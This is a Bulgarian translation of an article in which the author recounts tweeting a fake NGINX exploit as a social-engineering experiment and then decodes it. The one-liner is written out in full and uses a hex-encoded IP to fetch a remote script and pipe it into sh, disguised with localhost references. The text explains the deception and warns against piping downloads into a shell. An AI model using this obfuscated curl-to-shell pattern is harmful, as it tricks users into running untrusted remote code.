Прим. прев.: В оригиналната бележка, публикувана на 1 юни, реших да проведа експеримент сред интересуващите се от информационна сигурност. За целта подготвих фалшив експлойт за неразкрита уязвимост в уеб сървъра и го публикувах в Twitter. Моите предположения — да бъда бързо разобличен от специалистите, които ще видят очевидната измама в кода — не само не се оправдаха... Те надминаха всички очаквания, и то в обратната посока: туитът получи огромна подкрепа от многобройни хора, които не си направиха труда да проверят съдържанието му.

TL;DR: по никакъв начин не използвайте конвейеризация на файлове в sh или bash. Това е отличен начин да загубите контрол над компютъра.
Искам да споделя с вас малка история за шеговит PoC експлойт, който беше създаден на 31 май. Той се появи бързо в отговор на новината от , член на (ZDI), че скоро ще бъде разкрита информация за уязвимост в NGINX, която води до RCE (отдалечено изпълнение на код). Тъй като NGINX е в основата на много уебсайтове, новината трябваше да произведе ефект като експлозия. Но заради забавяния в процеса на "отговорно разкриване" на информация, подробностите относно случилото се не бяха известни — такова е стандартнотоprocedure на ZDI.

за разкриването на уязвимост в NGINX
След завършването на новата техника за обфускция в curl, цитирах оригиналния туит и "изпуснах работещ PoC", състоящ се от един ред код, уж използващ откритата уязвимост. Разбира се, това беше пълна глупост. Помислих, че веднага ще ме разобличат и в най-добрия случай ще получа няколко ретуита (но и това ми е ок).

с фалшивия експлойт
Но не можех да си представя какво ще се случи по-нататък. Популярността на туита ми излитна до небесата. Учудващо, но до момента (15:00 MSK на 1 юни) все още малко хора осъзнават, че това е фалшивка. Много хора го ретуитват без никаква проверка (да не говорим за това да се насладят на прекрасната ASCII графика, която извежда).

Погледнете колко красота!
Въпреки че всички тези цикли и цветове са чудесни, е ясно: за да ги видят, хората изпълняваха кода на компютрите си. За щастие, браузърите работят по подобен начин и в комбинация с факта, че проблемите със закона не ме интересуват, кодът, скрит в сайта ми, просто правеше echo повиквания, без да се опитва да инсталира или изпълнява какъвто и да е допълнителен код.
Небно малко отклонение: , , аз и другите момчета от екипа вече известно време експериментираме с различни начини за обфускация на curl команди, защото това е забавно… и ние сме гикове. netspooky и dnz откриха няколко нови начина, които ми се стори изключително обещаващи. Присъединих се към забавлението и опитах да добавя преобразувания на IP в десетичен формат към набора от трикове. Оказа се, че IP също може да се конвертира в хексадецимален формат. Освен това, curl и повечето други NIX инструменти с радост „поглъщат“ хексадецимални IP! Така че беше необходимо просто да се създаде убедителен и безопасно изглеждащ команден ред. В крайна сметка се спрях на това:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostСоциално-електронно инженерство (S.E.E.) — повече от обикновен фишинг
Безопасността и свикването бяха основна част от този експеримент. Мисля, че именно те доведоха до успеха му. Командният ред очевидно подчертаваше безопасността, като се позоваваше на „127.0.0.1” (всички знаят за localhost). Смята се, че localhost е безопасен и данните на него никога не напускат вашия компютър.
Свикването беше вторият ключов компонент на S.E.E. в експеримента. Тъй като целевата аудитория се състоеше предимно от хора, запознати с основите на компютърната сигурност, беше важно да се създаде такъв код, части от който изглеждат познато и обичайно (а следователно безопасно). Заимстването на елементи от стари концепции за експлойт и тяхното комбиниране по необичаен начин се оказа много успешно.
По-долу е подробен анализ на едноредовия код. Всичко в този списък е косметично, а за реалната му работа практически нищо не е необходимо.
Кои компоненти наистина са нужни? Това е -gsS, -O 0x0238f06a, |sh и сам уеб-сервер. Уеб-сервер не съдържаше никакви злонамерени инструкции, а просто предаваше ASCII-графика чрез команди echo в скрипта, който съдържа index.html. Когато потребителят въведеше низ с |sh в средата, index.html се зареждаше и изпълняваше. За щастие, съхранителите на уеб-сервера не бяха със зли намерения.
-
../../../%00— изображава изход извън директорията; -
ngx_stream_module.so— път към случайния модул NGINX; -
/bin/sh%00<'protocol:TCP'— предполагаемо стартираме/bin/shна целевата машина и пренасочваме изхода в TCP-канал; -
-O 0x0238f06a#PLToffset— тайна съставка, допълнена#PLToffset, за да изглежда като офсет в паметта, някак си съдържаща се в PLT; -
|sh;— още един важен фрагмент. Трябваше да пренасочим изхода към sh/bash, за да изпълним кода, идващ от атакуващия уеб-сервер, разположен на0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— празна стойност, в която netcat сочи към/dev/tcp/localhost, за да изглежда всичко отново безопасно. Всъщност, не прави нищо и е включен в реда за красота.
С това завършва декодирането на едноредовия скрипт и обсъждането на аспектите на 'социо-електронната инженерия' (заплетен фишинг).
Конфигурация на уеб-сервера и мерки за противодействие
Тъй като подавляващото мнозинство от моите абонати са инфобезопасници/хакери, реших да направя уеб-сервера малко по-устойчив на проявите на 'интерес' от тяхна страна, само за да им е интересно (пък и настройването му беше забавно). Не смятам да изброявам всичките капани, тъй като експериментът все още продължава, но ето няколко неща, които сървърът прави:
- Активно следи опити за разпространение в определени социални мрежи и вмъква различни миниатюри на предварителния преглед, за да насърчи потребителя да кликне върху линка.
- Пренасочва Chrome/Mozilla/Safari и т.н. към промо-видеото Thugcrowd, вместо да покаже shell скрипта.
- Следи явни признаци на нахлуване/грубо хакване, след което започва да пренасочва заявките към сървърите на АНБ (ха!).
- Инсталира троян и BIOS rootkit на всички компютри, чиито потребители посещават хост с нормален браузър (шега!).

Малка част антишум
В този случай моята единствена цел беше да опозная някои възможности на Apache — по-специално, супер правилата за пренасочване на заявки — и си помислих: защо не?
Експлойт NGINX (истински!)
Абонирайте се за в Twitter и следете за забележителната работа на ZDI по отстраняване на реални уязвимости и възможности за експлоити в NGINX. Работата им винаги ме е вдъхновявала и съм благодарен на Алисa за търпението, свързано с всички споменавания и уведомления, предизвикани от моя глупав туит. За щастие, той донесе и някаква полза: помогна за повишаване на съзнанието относно уязвимостите в NGINX и за проблемите, причинени от злоупотребата с curl.
Източник: habr.com
